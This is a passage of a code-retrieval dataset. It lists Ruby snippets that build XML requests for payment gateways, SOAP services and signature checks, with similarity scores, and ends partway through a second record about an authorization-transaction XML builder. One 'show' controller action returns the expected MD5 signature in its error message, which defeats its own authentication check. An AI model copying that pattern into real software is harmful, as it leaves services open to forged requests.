|s|\n\t\t\t\t\t\t\txml.station(\n\t\t\t\t\t\t\t\tid: s.id, \n\t\t\t\t\t\t\t\txPos: s.xPos, \n\t\t\t\t\t\t\t\tyPos: s.yPos,\n\t\t\t\t\t\t\t\tmaxSize: s.maxSize\n\t\t\t\t\t\t\t)\n end\n }\n \t\t\t\txml.demands {\n @list_demands.each do |d|\n \t\t\t\t\t\txml.demand(\n\t\t\t\t\t\t\t id: d.id,\n\t\t\t\t\t\t\t\tidsOrigin: d.sOrigin.id, \n\t\t\t\t\t\t\t\tidsDestination: d.sDestination.id, \n\t\t\t\t\t\t\t\tnbDemand: d.nbDemand,\n\t\t\t\t\t\t\t\tdepartureTime: d.departureTime_TS,\n\t\t\t\t\t\t\t\tarrivalTime: d.arrivalTime_TS\n \t\t\t\t\t\t)\n end\n \t\t\t\t}\n \t\t\t}\n\t\tend\n\t\t\n\t\treturn builder.to_xml\n\tend", "def request\n result = {}\n req_xml.blank? ? xml = '' : xml = req_xml\n doc = Hpricot.XML(xml)\n (doc/:RequestAuth/:UserPass/:User).inner_html = 'XXXXXXXX'\n (doc/:RequestAuth/:UserPass/:Password).inner_html = 'XXXXXXXX'\n result[:xml] = ErpHelper.xml2html(doc.to_s)\n result[:street] = (doc/:BillTo/:Address/:Street).inner_text\n result[:city] = (doc/:BillTo/:Address/:City).inner_text\n result[:state] = (doc/:BillTo/:Address/:State).inner_text\n result[:zip] = (doc/:BillTo/:Address/:Zip).inner_text\n result[:country] = (doc/:BillTo/:Address/:Country).inner_text\n result[:amount] = (doc/:PayData/:Invoice/:TotalAmt).inner_text\n result[:safe_cc_number] = (doc/:Tender/:Card/:CardNum).inner_text\n result[:expiration_date] = (doc/:Tender/:Card/:ExpDate).inner_text\n result[:expiration_year] = result[:expiration_date][-4,2]\n result[:expiration_month] = result[:expiration_date][-2,2]\n return result\n end", "def xml_string\n \"<SOAP-ENV:Envelope xmlns:SOAP-ENV='http://schemas.xmlsoap.org/soap/envelope/' xmlns:ns1='http://thalesgroup.com/RTTI/2014-02-20/ldb/' xmlns:ns2='http://thalesgroup.com/RTTI/2010-11-01/ldb/commontypes'>\" \\\n '<SOAP-ENV:Header>' \\\n '<ns2:AccessToken>' \\\n \"<ns2:TokenValue>#{national_rail_token}</ns2:TokenValue>\" \\\n '</ns2:AccessToken>' \\\n '</SOAP-ENV:Header>' \\\n '<SOAP-ENV:Body>' \\\n '<ns1:GetDepartureBoardRequest>' \\\n '<ns1:numRows>10</ns1:numRows>' \\\n \"<ns1:crs>#{from_station_code}</ns1:crs>\" \\\n \"<ns1:filterCrs>#{to_station_code}</ns1:filterCrs>\" \\\n '</ns1:GetDepartureBoardRequest>' \\\n '</SOAP-ENV:Body>' \\\n '</SOAP-ENV:Envelope>'\n end", "def body_parameters(parameters)\n parameters_xml = ''\n parameters.each_pair do |k, v|\n key = parameter_key(k)\n\n val = case v\n when Hash\n body_parameters(v)\n when Array\n v.map { |i| body_parameters(i) }.join('')\n when nil\n ''\n else\n \"<![CDATA[#{v}]]>\"\n end\n\n parameters_xml << \"<#{key}>#{val}</#{key}>\"\n end\n\n parameters_xml\n end", "def to_xml\n xml = \"<ticket>\\n\"\n xml << \"\\t<subject>#{@subject}</subject>\\n\"\n xml << \"\\t<description>#{@description}</description>\\n\"\n xml << \"\\t<requester-name>#{@requester_name}</requester-name>\\n\"\n xml << \"\\t<requester-email>#{@requester_email}</requester-email>\\n\"\n xml << \"\\t<set-tags>#{@tags}</set-tags>\\n\"\n xml << \"</ticket>\"\n return xml\n end", "def build_xml\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.SendNotificationsRequest(:xmlns => \"http://fedex.com/ws/track/v#{service[:version]}\"){\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_transaction_details(xml)\n add_version(xml)\n xml.TrackingNumber @tracking_number\n xml.TrackingNumberUniqueId @uuid if @uuid\n xml.SenderEMailAddress @sender_email_address\n xml.SenderContactName @sender_name\n add_notification_detail(xml)\n }\n end\n builder.doc.root.to_xml\n end", "def request_body(xml); xml; end", "def transaction_verify_with_http_info(transaction_verify_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.transaction_verify ...'\n end\n # verify the required parameter 'transaction_verify_request' is set\n if @api_client.config.client_side_validation && transaction_verify_request.nil?\n fail ArgumentError, \"Missing the required parameter 'transaction_verify_request' when calling DefaultApi.transaction_verify\"\n end\n # resource path\n local_var_path = '/api/v2/transaction/verify'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', ])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(transaction_verify_request) \n\n # return_type\n return_type = opts[:return_type] || 'Object' \n\n # auth_names\n auth_names = opts[:auth_names] || ['csrfAuth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#transaction_verify\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n xml.tag!('samlp:Status') {\n xml << status_code.to_xml unless status_code.nil?\n xml.tag!('StatusMessage', status_message) unless status_message.nil?\n status_detail.each { |status_detail| xml << status_detail.to_xml }\n }\n end", "def body\n <<-XML\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <#{@command}Request xmlns=\"urn:ebay:apis:eBLBaseComponents\">\n #{requester_credentials_xml}\n #{input_xml}\n </#{@command}Request>\n XML\n end", "def assert_valid_xml(res)\n assert_content_type res, \"application/xml\" \n end", "def build_purchase_or_authorization_request(type, money, credit_card, options)\n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!\n xml.tag! :Request do\n add_authentication(xml)\n \n xml.tag! :Transaction do\n xml.tag! :CardTxn do\n xml.tag! :method, type\n \n add_credit_card(xml, credit_card, options[:billing_address] || options[:address])\n end\n xml.tag! :TxnDetails do\n xml.tag! :merchantreference, format_reference_number(options[:order_id])\n xml.tag! :amount, amount(money), :currency => options[:currency] || currency(money)\n end\n end\n end\n xml.target!\n end", "def process_regular_subscription_payment(attributes = {})\n ::Nokogiri::XML::Builder.new(:encoding => \"utf-8\") do |xml|\n xml.send(\"soapenv:Envelope\", \"xmlns:soapenv\" => \"http://schemas.xmlsoap.org/soap/envelope/\", \"xmlns:v1\" => \"http://gpe.cz/pay/pay-ws/proc/v1\", \"xmlns:type\" => \"http://gpe.cz/pay/pay-ws/proc/v1/type\") {\n xml.send(\"soapenv:Header\")\n xml.send(\"soapenv:Body\") {\n xml.send(\"v1:processRegularSubscriptionPayment\") {\n xml.send(\"v1:regularSubscriptionPaymentRequest\") {\n xml.send(\"type:messageId\", attributes[:message_id])\n xml.send(\"type:provider\", \"0100\")\n xml.send(\"type:merchantNumber\", attributes[:merchant_number])\n xml.send(\"type:paymentNumber\", attributes[:order_number])\n xml.send(\"type:masterPaymentNumber\", attributes[:master_order_number])\n xml.send(\"type:orderNumber\", attributes[:merchant_order_number])\n xml.send(\"type:subscriptionAmount\", attributes[:amount])\n xml.send(\"type:captureFlag\", attributes[:capture_flag])\n xml.send(\"type:cardHolderData\") {\n xml.send(\"type:cardholderDetails\") {\n xml.send(\"type:name\", attributes[:card_holder_name])\n xml.send(\"type:email\", attributes[:card_holder_email])\n xml.send(\"type:phoneCountry\", attributes[:card_holder_phone_country])\n xml.send(\"type:phone\", attributes[:card_holder_phone])\n xml.send(\"type:mobilePhoneCountry\", attributes[:card_holder_mobile_phone_country])\n xml.send(\"type:mobilePhone\", attributes[:card_holder_mobile_phone])\n }\n xml.send(\"type:addressMatch\", attributes[:address_match])\n xml.send(\"type:billingDetails\") {\n xml.send(\"type:name\", attributes[:billing_name])\n xml.send(\"type:address1\", attributes[:billing_address1])\n xml.send(\"type:city\", attributes[:billing_city])\n xml.send(\"type:postalCode\", attributes[:billing_postal_code])\n xml.send(\"type:country\", attributes[:billing_country])\n }\n xml.send(\"type:shippingDetails\") {\n xml.send(\"type:name\", attributes[:shipping_name])\n xml.send(\"type:address1\", attributes[:shipping_address1])\n xml.send(\"type:city\", attributes[:shipping_city])\n xml.send(\"type:postalCode\", attributes[:shipping_postal_code])\n xml.send(\"type:country\", attributes[:shipping_country])\n }\n }\n xml.send(\"type:signature\", attributes[:digest])\n }\n }\n }\n }\n end.to_xml\n end", "def verify_signature\n #puts \"sing in params: #{@params[\"sign\"]}\" unless @params[\"sign\"] == Alipay.generate_signature(@params, @key)\n #puts Alipay.generate_signature(@params, @key)\n @params[\"sign\"] == Alipay.generate_signature(@params, @key)\n end", "def auth(params ={})\r\n @PARAM_HASH['TRANSACTION_TYPE'] = 'AUTH'\r\n @PARAM_HASH['AMOUNT'] = params[:amount]\r\n @PARAM_HASH['RRNO'] = params[:trans_id] || ''\r\n @api = \"bp10emu\"\r\n end", "def to_xml\n header = build_header\n body = build_body\n envelope = build_envelope\n envelope << header\n envelope << body\n doc = Ox::Document.new(version: '1.0')\n doc << envelope\n Ox.dump(doc)\n end", "def verify!(config, params)\n sent_signature = params.find { |key, _value| key.to_s.casecmp('BRQ_SIGNATURE').zero? }&.last\n generated_signature = Signature.generate(config, params)\n\n if sent_signature.nil? || generated_signature.nil? || !safe_equals?(sent_signature, generated_signature)\n raise SignatureException.new(sent_signature, generated_signature)\n end\n end", "def verify(params, shared_secret = nil)\n their_sig = params.delete('merchantSig')\n raise ArgumentError, \"params must include 'merchantSig' for verification\" if their_sig.empty?\n our_sig = sign(params, shared_secret)['merchantSig']\n secure_compare(their_sig, our_sig)\n end", "def show\n begin\n @service = Service.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n return render :xml => \"<WARNING>there is not a company for that id</WARNING>\"\n end\n @signature = params[:signature]\n #@auth = false\n #if params[:email] and params[:password]\n # @user = User.find_by_email(params[:email])\n # if @user.password == params[:password]\n # @auth = true\n # else\n # @auth = false\n # end\n #end\n params = request.query_parameters.reject {|key, value| key.to_s == \"signature\"}\n params.sort_by {|key, value| key.to_s.underscore}.join('')\n @parameters = params.to_s\n @secret = ApplicationAccount.api_secret_field\n @app_key = ApplicationAccount.api_key_field\n respond_to do |format|\n format.html # show.html.erb\n if params[:app_key] == @app_key #and @auth\n if @signature == Digest::MD5.hexdigest(\"#{@app_key}#{@parameters}#{@secret}\").to_s\n #format.xml { render :xml => Digest::MD5.hexdigest(\"#{@app_key}#{@parameters}#{@secret}\").to_s }\n if @service != nil\n format.xml { render :xml => @service.to_xml(:only => [:id, :name, :description, :contact_name, :contact_title, :contact_email, :buy, :created_at, :updated_at]) }\n else\n format.xml { render :xml => \"<WARNING>there is not a service for that if</WARNING>\" }\n end\n else\n @test = Digest::MD5.hexdigest(\"#{@app_key}#{@parameters}#{@secret}\").to_s\n format.xml { render :xml => \"<WARNING>El signature debe ser: #{@test} </WARNING>\" }\n end\n end\n end\n end", "def build_xml_of_free_insurance(profile, present_code)\n data = ''\n xml = ::Builder::XmlMarkup.new(target: data, indent: 0)\n # xml.instruct!\n xml.instruct! :xml, version: \"1.0\", encoding: \"GBK\"\n xml.Records {\n xml.Record {\n xml.Customer {\n xml.Key Profile.generate_free_insurance_id\n xml.ChannelType 'aishanxing'\n xml.FromSystem 'AiShanXing'\n xml.Name profile.full_name\n xml.Sex profile.gender ? 'Male' : 'Female'\n xml.Birthday profile.birthday.to_s\n xml.Document profile.id_num\n xml.DocumentType 'IdentityCard'\n xml.Email profile.email\n xml.Mobile profile.cellphone\n xml.ContactState {\n xml.Name profile.province\n }\n xml.ContactCity {\n xml.Name profile.city\n }\n xml.ContactAddress profile.address\n xml.Occupation {\n xml.Code '0001001'\n }\n # 没有description\n xml.Description\n }\n xml.Task {\n xml.CallList {\n xml.Name ''\n }\n xml.Campaign {\n xml.Name ''\n }\n }\n xml.Activity {\n xml.Code ''\n xml.Present {\n xml.Code present_code\n }\n xml.TSR {\n xml.Code '805095'\n }\n xml.DonateTime Date.current.to_s(:db)\n xml.SMS '1'\n xml.FlightNo\n xml.ValidTime\n }\n }\n }\n\n return data\n end", "def build_result(action)\n xml = ''\n doc = Builder::XmlMarkup.new(:target => xml)\n doc.tag!(\"#{action}Response\", :xmlns => \"http://sdb.amazonaws.com/doc/2007-11-07\") do\n if block_given?\n yield doc\n end\n \n doc.ResponseMetadata do\n doc.RequestId \"1234\"\n doc.BoxUsage \"0\"\n end\n end\n \n xml\n end", "def to_xml private_key\n # Generate magic envelope\n magic_envelope = XML::Document.new\n\n magic_envelope.root = XML::Node.new 'env'\n\n me_ns = XML::Namespace.new(magic_envelope.root,\n 'me', 'http://salmon-protocol.org/ns/magic-env')\n\n magic_envelope.root.namespaces.namespace = me_ns\n\n # Armored Data <me:data>\n data = @activity.to_atom\n @plaintext = data\n data_armored = Base64::urlsafe_encode64(data)\n elem = XML::Node.new 'data', data_armored, me_ns\n elem.attributes['type'] = 'application/atom+xml'\n data_type_armored = 'YXBwbGljYXRpb24vYXRvbSt4bWw='\n magic_envelope.root << elem\n\n # Encoding <me:encoding>\n magic_envelope.root << XML::Node.new('encoding', 'base64url', me_ns)\n encoding_armored = 'YmFzZTY0dXJs'\n\n # Signing Algorithm <me:alg>\n magic_envelope.root << XML::Node.new('alg', 'RSA-SHA256', me_ns)\n algorithm_armored = 'UlNBLVNIQTI1Ng=='\n\n # Signature <me:sig>\n plaintext =\n \"#{data_armored}.#{data_type_armored}.#{encoding_armored}.#{algorithm_armored}\"\n\n # Assign @signature to the signature generated from the plaintext\n @signature = Nelumba::Crypto.emsa_sign(plaintext, private_key)\n\n signature_armored = Base64::urlsafe_encode64(@signature)\n magic_envelope.root << XML::Node.new('sig', signature_armored, me_ns)\n\n magic_envelope.to_s :indent => true, :encoding => XML::Encoding::UTF_8\n end", "def perform_get_vendor_agreement_details(params, version) \n\t\t$tracer.trace(\"GameStopPaymentServiceDSL: #{__method__}, Line: #{__LINE__}\")\n\t\t$tracer.report(\"Should #{__method__}.\")\n\t\tsvc_req = self.get_request_from_template_using_global_defaults(:get_vendor_agreement_details, PaymentServiceRequestTemplates.const_get(\"GET_VENDOR_AGREEMENT_DETAILS#{version}\"))\n\t\tsvc_req_data = svc_req.find_tag(\"get_vendor_agreement_details_request\").at(0)\n\n\t\tsvc_req_data.client_channel.content = params[\"client_channel\"]\n\t\tsvc_req_data.reference_number.content = params[\"reference_number\"]\n\t\t\n\t\t$tracer.trace(svc_req.formatted_xml)\n svc_rsp = self.get_vendor_agreement_details(svc_req.xml)\n svc_rsp.code.should == 200\n\n $tracer.trace(svc_rsp.http_body.formatted_xml)\n return svc_rsp\n\tend", "def build_xml(xml)\n check_configuration\n xml.DistributionConfig('xmlns' => \"http://cloudfront.amazonaws.com/doc/#{Cloudfront::API_VERSION}/\") {\n xml.CallerReference @caller_reference\n @aliases.build_xml(xml)\n xml.DefaultRootObject @default_root_object\n @origins_container.build_xml(xml)\n @default_cache_behavior.build_xml(xml)\n @behaviors.build_xml(xml)\n xml.Comment @comment\n @logging.build_xml(xml)\n xml.PriceClass @price_class\n xml.Enabled @enabled\n }\n end" ]
[ "0.63836354", "0.63139063", "0.6229533", "0.6105691", "0.60511976", "0.5999555", "0.5940831", "0.5837182", "0.58146566", "0.5797738", "0.576511", "0.5686895", "0.5665135", "0.5657565", "0.56210333", "0.56195974", "0.5561996", "0.55485517", "0.5547748", "0.5534185", "0.552148", "0.5500065", "0.5484063", "0.54732376", "0.54353565", "0.5430613", "0.5427623", "0.54172593", "0.5378637", "0.537205", "0.53566545", "0.5347158", "0.53331065", "0.5322171", "0.53127897", "0.52877396", "0.5286628", "0.5272832", "0.5246235", "0.52462125", "0.5227857", "0.5218166", "0.51864135", "0.5182112", "0.51645595", "0.51599884", "0.5132802", "0.51300466", "0.512658", "0.51175964", "0.5113269", "0.5112287", "0.51079667", "0.50849575", "0.5084465", "0.5081684", "0.5076721", "0.5072592", "0.5071631", "0.5069564", "0.5061168", "0.5051883", "0.5049003", "0.5044221", "0.5044221", "0.5041528", "0.5039581", "0.50317883", "0.5031376", "0.50161487", "0.50158453", "0.501496", "0.50066173", "0.5004691", "0.49972028", "0.49879465", "0.49873388", "0.49851036", "0.4983913", "0.4983414", "0.4953153", "0.49425346", "0.49297297", "0.49232587", "0.4914462", "0.4913989", "0.49104187", "0.49103844", "0.49088922", "0.49056137", "0.4902941", "0.49017522", "0.49013993", "0.49005494", "0.4895737", "0.489122", "0.48779044", "0.48707896", "0.48703757", "0.48682308" ]
0.75271386
0
Create Authorize xml as per the api format . "params" is collection keyvalues, in this "params" holds CardData, AVSData, Amount, P2PETransactionData,PaymentAccountDataToken. It returns xml format in string.
def authorizeXML(params) begin Nokogiri::XML::Builder.new do |xml| xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>"AuthorizeTransaction" ) { xml.ApplicationProfileId application_profile_id xml.MerchantProfileId merchant_profile_id xml.Transaction('xmlns:ns1' => "http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard", 'i:type' => "ns1:BankcardTransaction" ){ xml['ns1'].TenderData{ if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? #p "Swipe card..maga..." xml['ns5'].SecurePaymentAccountData('xmlns:ns5' => "http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:SecurePaymentAccountData]) xml['ns6'].EncryptionKeyId('xmlns:ns6' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:EncryptionKeyId]) xml['ns7'].SwipeStatus('xmlns:ns7' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:SwipeStatus]) xml['ns1'].CardSecurityData{ xml['ns1'].IdentificationInformation params[:IdentificationInformation] } xml['ns1'].CardData('i:nil' =>"true") elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? #p "Swipe card..Dukp..." xml['ns5'].SecurePaymentAccountData('xmlns:ns5' => "http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:SecurePaymentAccountData]) xml['ns6'].EncryptionKeyId('xmlns:ns6' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:EncryptionKeyId]) xml['ns7'].SwipeStatus('xmlns:ns7' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns1'].CardSecurityData{ xml['ns1'].IdentificationInformation('i:nil' =>"true") } xml['ns1'].CardData('i:nil' =>"true") xml['ns1'].EcommerceSecurityData('i:nil' =>"true") elsif params[:PaymentAccountDataToken].present? #p "PaymentAccountDataToken..........." xml['ns4'].PaymentAccountDataToken('xmlns:ns4' => "http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:PaymentAccountDataToken]) xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns6'].EncryptionKeyId('xmlns:ns6' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns7'].SwipeStatus('xmlns:ns7' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns1'].CardData('i:nil' =>"true") xml['ns1'].EcommerceSecurityData('i:nil' =>"true") else #p "without token...." xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions", 'i:nil' =>"true") xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns6'].EncryptionKeyId('xmlns:ns6' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns7'].SwipeStatus('xmlns:ns7' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns1'].CardData{ xml['ns1'].CardType params[:CardType] if params[:Track2Data].present? xml['ns1'].Track2Data params[:Track2Data] xml['ns1'].PAN('i:nil' =>"true") xml['ns1'].Expire('i:nil' =>"true") xml['ns1'].Track1Data('i:nil' =>"true") elsif params[:Track1Data].present? xml['ns1'].Track1Data params[:Track1Data] xml['ns1'].PAN('i:nil' =>"true") xml['ns1'].Expire('i:nil' =>"true") xml['ns1'].Track2Data('i:nil' =>"true") else xml['ns1'].PAN params[:PAN] xml['ns1'].Expire params[:Expire] xml['ns1'].Track1Data('i:nil' =>"true") xml['ns1'].Track2Data('i:nil' =>"true") end } xml['ns1'].EcommerceSecurityData('i:nil' =>"true") end } xml['ns2'].CustomerData('xmlns:ns2' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions"){ xml['ns2'].BillingData{ xml['ns2'].Name('i:nil' =>"true") xml['ns2'].Address{ xml['ns2'].Street1 params[:Street1] xml['ns2'].Street2('i:nil' =>"true") xml['ns2'].City params[:City] xml['ns2'].StateProvince params[:StateProvince] xml['ns2'].PostalCode params[:PostalCode] xml['ns2'].CountryCode params[:CountryCode] } xml['ns2'].BusinessName 'MomCorp' xml['ns2'].Phone params[:Phone] xml['ns2'].Fax('i:nil' =>"true") xml['ns2'].Email params[:Email] } xml['ns2'].CustomerId 'cust123' xml['ns2'].CustomerTaxId('i:nil' =>"true") xml['ns2'].ShippingData('i:nil' =>"true") } xml['ns3'].ReportingData('xmlns:ns3' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions"){ xml['ns3'].Comment 'a test comment' xml['ns3'].Description 'a test description' xml['ns3'].Reference '001' } xml['ns1'].TransactionData{ if params[:Amount] != '' xml['ns8'].Amount('xmlns:ns8' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:Amount]) else xml['ns8'].Amount('xmlns:ns8' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text('0.00') end #xml['ns8'].Amount('xmlns:ns8' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:Amount]) xml['ns9'].CurrencyCode('xmlns:ns9' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text('USD') xml['ns10'].TransactionDateTime('xmlns:ns10' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text('2013-04-03T13:50:16') xml['ns11'].CampaignId('xmlns:ns11' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns12'].Reference('xmlns:ns12' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text('xyt') xml['ns1'].AccountType 'NotSet' xml['ns1'].ApprovalCode('i:nil' =>"true") xml['ns1'].CashBackAmount '0.0' xml['ns1'].CustomerPresent 'Present' xml['ns1'].EmployeeId '11' xml['ns1'].EntryMode params[:EntryMode] xml['ns1'].GoodsType 'NotSet' xml['ns1'].IndustryType params[:IndustryType] xml['ns1'].InternetTransactionData('i:nil' =>"true") xml['ns1'].InvoiceNumber params[:InvoiceNumber] xml['ns1'].OrderNumber params[:OrderNumber] xml['ns1'].IsPartialShipment 'false' xml['ns1'].SignatureCaptured 'false' xml['ns1'].FeeAmount '0.0' xml['ns1'].TerminalId('i:nil' =>"true") xml['ns1'].LaneId('i:nil' =>"true") xml['ns1'].TipAmount '0.0' xml['ns1'].BatchAssignment('i:nil' =>"true") xml['ns1'].PartialApprovalCapable 'NotSet' xml['ns1'].ScoreThreshold('i:nil' =>"true") xml['ns1'].IsQuasiCash 'false' } } } end.to_xml rescue Exception => ex return "Some value not set in xml for authorizeXML!" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def authorizeAndCaptureXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeAndCaptureTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeAndCaptureTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id \n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\", \n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if 